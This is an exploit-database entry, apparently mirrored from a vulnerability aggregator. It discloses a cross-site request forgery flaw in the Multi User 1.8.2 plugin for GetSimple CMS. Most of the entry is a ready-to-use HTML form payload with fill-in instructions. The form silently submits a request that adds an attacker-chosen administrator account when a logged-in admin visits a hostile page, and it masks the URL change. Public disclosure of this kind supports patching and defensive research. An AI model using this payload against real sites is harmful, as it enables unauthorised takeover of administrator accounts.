GetSimple CMS Plugin Multi User 1.8.2 - Cross-Site Request Forgery (Add Admin)

🗓️ 13 Aug 2020 00:00:00Reported by bokuType

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GetSimple CMS Plugin Multi User v1.8.2 CSRF Add Admi

# Exploit Title: GetSimple CMS Plugin Multi User v1.8.2 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: August 2020-08-12
# Vendor Homepage: http://get-simple.info/extend/plugin/multi-user/133/
# Software Link: http://get-simple.info/extend/export/960/133/multi-user.zip
# Version: 1.8.2
# Tested On: Windows 10 Pro + XAMPP
# CWE-352: Cross-Site Request Forgery (CSRF)
# Vulnerability Description:
#   Cross-Site Request Forgery (CSRF) vulnerability in Multi User v1.8.2 plugin for GetSimple CMS allows remote attackers to add an Admin user via authenticated admin visiting a third-party site.

## Usage: 
+ Change <IP||DOMAIN> to target IP address or domain name
+ Change <ADMIN> to target username
+ Change <PASSWORD> to target password

## CSRF POST Form Method
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<IP||DOMAIN>/admin/load.php?id=user-managment" method="POST">
      <input type="hidden" name="usernamec" value="<ADMIN>" />
      <input type="hidden" name="useremail" value="ADMIN&#64;DOMAIN&#46;LOCAL" />
      <input type="hidden" name="ntimezone" value="" />
      <input type="hidden" name="userlng" value="en&#95;US" />
      <input type="hidden" name="userpassword" value="<PASSWORD>" />
      <input type="hidden" name="usereditor" value="1" />
      <input type="hidden" name="Landing" value="" />
      <input type="hidden" name="add&#45;user" value="Add&#32;New&#32;User" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

13 Aug 2020 00:00Current

7.4High risk

Vulners AI Score7.4